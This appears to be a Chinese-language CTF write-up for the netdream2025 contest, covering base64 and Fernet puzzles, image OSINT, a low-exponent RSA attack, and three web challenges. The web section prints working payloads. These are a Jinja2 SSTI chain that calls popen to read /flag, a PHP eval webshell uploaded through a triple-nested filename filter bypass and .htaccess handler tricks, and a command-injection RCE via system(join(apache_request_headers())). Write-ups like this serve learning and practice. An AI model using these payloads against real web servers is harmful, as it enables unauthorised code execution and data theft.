netdream2025_wp

MISC

签到

你知道Base和TXT吗?
Y3RmLmN0Zi52aW4=

一眼base64,解码得到ctf.ctf.vin看起来像一个网址。

经过查询得知TXT是DNS的记录

一般指某个主机名或域名的说明,或者联系方式,或者标注提醒等等。

82f992a469958205381e577fc6689f02

找一个在线查询网站得到flag

ezimg

题目给了一张图片

milkdragon

拖到010中,发现最后有一串base64

a420c78a42054c285b40cbd60478693e

https://www.bilibili.com/video/BV1GJ411x7h7/https://docs.qq.com/doc/DZWxobHhmRW9pd09k

解码后是两个网址

打开第二个网址是一个文档

一闪而过一串base64(拼手速截下来)

image-20250816202546644

全选发现一个fakeflag

459d2fb7ff7e28f06c10d3acd355ca8b

base64解码后依旧是个网址 htNps://wwgn.lanzoul.com/i3q4y30huefa

把N改成t

https://wwgn.lanzoul.com/i3q4y30huefa

下载了一个压缩包

解压出ezimg.py,一直往左翻找到代码

from cryptography.fernet import Fernet; 
import base64; 
key = base64.urlsafe_b64encode(b'flag{xxx}'[:32].ljust(32, b'\0')[:32]); cipher = Fernet(key); 
encrypted = cipher.encrypt(b'flag{xxxx}'); 
#c=gAAAAABoa6KH5msX3aA5PUiSZq1Ubma9DvtpU9ywyijLEbfQYNl-hn5Q_4NlmpcAD2pNjq07KvMYd2R32Id_R_3iW5GZn3yKTBW5R_5jFI_307_S9oep0zE0dhZCf_XOymC2WQhB2_6s

这里用到了fernet加密(对称加密)

代码简单来说就是拿一串flag来生成密钥key,然后用key来加密flag

一开始在这里卡了好久,以为两个flag是相同的,基本不可能爆破出来,后来重新理了下思路,发现之前的fakeflag没用过,猜测密钥是由fakeflag生成的。

解密脚本如下:

from cryptography.fernet import Fernet
import base64

def decrypt():
    # 已知密文
    ciphertext = "gAAAAABoa6KH5msX3aA5PUiSZq1Ubma9DvtpU9ywyijLEbfQYNl-hn5Q_4NlmpcAD2pNjq07KvMYd2R32Id_R_3iW5GZn3yKTBW5R_5jFI_307_S9oep0zE0dhZCf_XOymC2WQhB2_6s"
    
    try:
        # 将密文转换为key格式
        test_key = base64.urlsafe_b64encode("flag{114514-1919810-B1ngF3i_1s_a_@mazing_0ld3r}"[:32].encode().ljust(32, b'\0'))
        cipher = Fernet(test_key)
        decrypted = cipher.decrypt(ciphertext.encode())
        print(f"解密结果: {decrypted}")
    except Exception as e:
        print(f"解密失败: {e}")

if __name__ == "__main__":
    decrypt()

I_AM_K

import base64

def encrypt(plaintext, key):
    key_sum = sum(ord(char) for char in key)
    if not plaintext.startswith("flag{"):
        plaintext = "flag{" + plaintext
    if not plaintext.endswith("}"):
        plaintext += "}"
    
    encrypted = []
    for char in plaintext:
        encrypted_char = (ord(char) + key_sum) % 256 
        encrypted.append(encrypted_char)

    encrypted_bytes = bytes(encrypted)
    base64_encoded = base64.b64encode(encrypted_bytes).decode('utf-8')
    shift = key_sum % 26
    caesar_shifted = ""
    for char in base64_encoded:
        if char.isalpha():
            shifted_char = chr(((ord(char) - ord('A') + shift) % 26 + ord('A'))) if char.isupper() else chr(((ord(char) - ord('a')) + shift) % 26 + ord('a'))
            caesar_shifted += shifted_char
        else:
            caesar_shifted += char
    hex_encoded = caesar_shifted.encode('utf-8').hex()
    
    return hex_encoded

key = "xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx"

plaintext = "Thi5 1s th3 Fl@g" 

ciphertext = encrypt(plaintext, key)
print(ciphertext)

#686545356839417466377a5266364133695a54556a376857696f6c4e67377a5166364248

整个流程

1 先计算出key_sum,

2 确保明文是flag{开头,}结尾,

3 进行字符加密encrypted_char = (ord(char) + key_sum) % 256

4 base64编码

5 根据key_sum进行凯撒加密

不难发现先这里key的作用只是提供了key_sum,只需要爆破key_sum,得到的结果中以flag{开头应该就是我们要的flag

解密脚本

import base64

def decrypt(ciphertext, keysum):
    try:
        hex_decoded = bytes.fromhex(ciphertext).decode('utf-8')
        
        shift = keysum % 26
        caesar_decoded = ""
        for char in hex_decoded:
            if char.isalpha():
                if char.isupper():
                    caesar_decoded += chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
                else:
                    caesar_decoded += chr((ord(char) - ord('a') - shift) % 26 + ord('a'))
            else:
                caesar_decoded += char
        
        base64_decoded = base64.b64decode(caesar_decoded)
        
        decrypted = ""
        for byte in base64_decoded:
            decrypted += chr((byte - keysum) % 256)
        

        if "flag{" in decrypted and "}" in decrypted:
            print(f"找到可能的flag! keysum={keysum}, 结果: {decrypted}")
            return True
        return False
    
    except Exception:
        return False

def main():
    encrypted = "686545356839417466377a5266364133695a54556a376857696f6c4e67377a5166364248"
    
    for keysum in range(0, 10000):
        if decrypt(encrypted, keysum):
            pass

if __name__ == "__main__":
    main()

问卷题

学隔壁LIlCTF

08d11d3c534af2bbe49bf7d9e92902f9

web

ezpython

查看源代码进入下一关

28494f330da5cca6d62520b972e76b33

一开始到这卡住了,后来看到提示要爆破六位数字路由,盲猜114514

d0445e3e7ef65b81f0728b0cc770747b

看着像ssti

尝试传参?name={{7*7}},回显49

7cfdae4cee47fb2006206097905ff9c7

测试了一下发现没有过滤

payload:

{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

ezupload(复现)

现在没环境了,就不截图了

开局一个文件上传界面,先随便传了个png,抓包改文件名,经过测试发现phtml文件没被过滤

文件内容过滤了<?,使用长标签绕过

<script language="php">
    eval($_POST[1]);
</script>

但发现.phtml文件没被解析?

中间件是apache,尝试上传.htaccess,被过滤了,试了双写绕过也不行,当时就卡在这里了。

复现的时候查看了源码

$filtered_name = preg_replace('/php|htaccess/i', '', $filename);
$filtered_name = preg_replace('/php|htaccess/i', '', $filtered_name);

原来进行了两次替换?这是三写绕过吗

构造文件名

filename=".htaccesshtahtaccessccesshtachtaccesshtahtaccessccesscess"
//第一次替换htaccesshtachtaccesscess
//第二次替换htaccess

接下来有两个方法

**法一 **是解析phtml文件

上传.htaccess

<IfModule mime_module>
SetHandler application/x-httpd-php    #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>

执行一句话木马,禁用了system,直接猜在根目录读文件show_source就行了

法二

看了出题人发的视频才知道原来.htaccess可以直接读文件

AddType application/x-httpd-php .phtml
php_value auto_append_file "/flag"

访问上传的.phtml文件即可得到flag

ezbypass(复现)

源码

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|implode|phpinfo|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|session_id|session_start|echo|readfile|highlight|show|source|file|assert/i", $test)){
    eval($test);
}

过滤了一堆,但没过滤system,注意这里过滤的是中文括号

肯定往无参rce方向来想,但无参rce的函数也基本都被过滤了,当时就没思路了

之前做过一道题是利用

usort(getallheaders(),system)

来执行命令的

这里getallheaders被过滤了,查php手册发现

b0e23f8839feb3a1e877c7fbf1fa50a0

apache_request_headers()没被过滤

此时又有了新的问题,system的参数是字符串,apache_request_headers()返回的是数组

要将数组转换为字符串

da55d13e67146fed51fc6203b0b8ec99

这道题吧implode也过滤了,但发现他是join的别名

所有最终构造payload

?test=system(join(apache_request_headers()));

//请求头中加入命令 
cmd:;cat${IFS}/f*>1.txt;  //命令拼接

在hackerbar中没试成功,可能是请求头太多了?抓包删掉一些请求头,命令执行成功,访问1.txt获得flag。

OSINT

Where_am_i

where_am_i

直接谷歌识图

be0b7188db35c9474c470f2e2a714048

一搜就有了

Bridge

bridge

谷歌识图

a6993a0c0f610d62e8dea8163f8a6ef6

锁定是这座桥,最后试了半天原来要填别名牌楼长江大桥

CRYPTO

EzRSA

import sys
import random
from sympy import nextprime
import binascii

FLAG = b"flag{xxxxxxx}"
BIT_SIZE = 512
DIFF = 1000

def generate_close_primes(bit_size, diff):
    start = random.getrandbits(bit_size) | 1
    p = nextprime(start)
    q = nextprime(p + diff)
    return p, q

def flag_to_int(flag_bytes):
    return int.from_bytes(flag_bytes, byteorder='big')

def main():
    p, q = generate_close_primes(BIT_SIZE, DIFF)
    n = p * q
    e = 3

    m = flag_to_int(FLAG)

    c = pow(m, e, n)

    print(f"n = {n}")
    print(f"e = {e}")
    print(f"c = {c}")

if __name__ == "__main__":
    main()

"""
n = 3256593900815599638610948588846270419272266309072355018531019815816383416972716648196614202756266923662468043040766972587895880348728177684427108179441398076920699534139836200520410133083399544975367893285080239622582380507397956076038256757810824984700446326253944197017126171652309637891515864542581815539
e = 3
c = 1668144786169714702301094076704686642891065952249900945234348491495868262367689770718451252978033214169821458376529832891775500377565608075759008139982766645172498702491199793075638838575243018129218596030822468832530007275522627172632933
"""

这题的$e$非常小,低加密指数攻击

当$M^e < n$ 时,$C = M^e$ ,所以对$C$开方就能得到$M$

当$M^e > n$ 时,此时用爆破的方法
假设我们$\frac{M^e}{n}$ 的商为$ k $余数为$C$,
则$M^e = kn + C$,对$k$进行爆破,只要$k$满足 $kn + C$能够开$e$次方就可以得明文

代码实现

import gmpy2
n = 3256593900815599638610948588846270419272266309072355018531019815816383416972716648196614202756266923662468043040766972587895880348728177684427108179441398076920699534139836200520410133083399544975367893285080239622582380507397956076038256757810824984700446326253944197017126171652309637891515864542581815539
e = 3
c = 1668144786169714702301094076704686642891065952249900945234348491495868262367689770718451252978033214169821458376529832891775500377565608075759008139982766645172498702491199793075638838575243018129218596030822468832530007275522627172632933

k = 0
while 1:
    res = gmpy2.iroot(k*n+c,e)
    if(res[1] == True):
        print(bytes.fromhex(hex(res[0])[2:]))
        break
    k += 1
posted @ 2025-08-17 13:16  leee0  阅读(46)  评论(0)    收藏  举报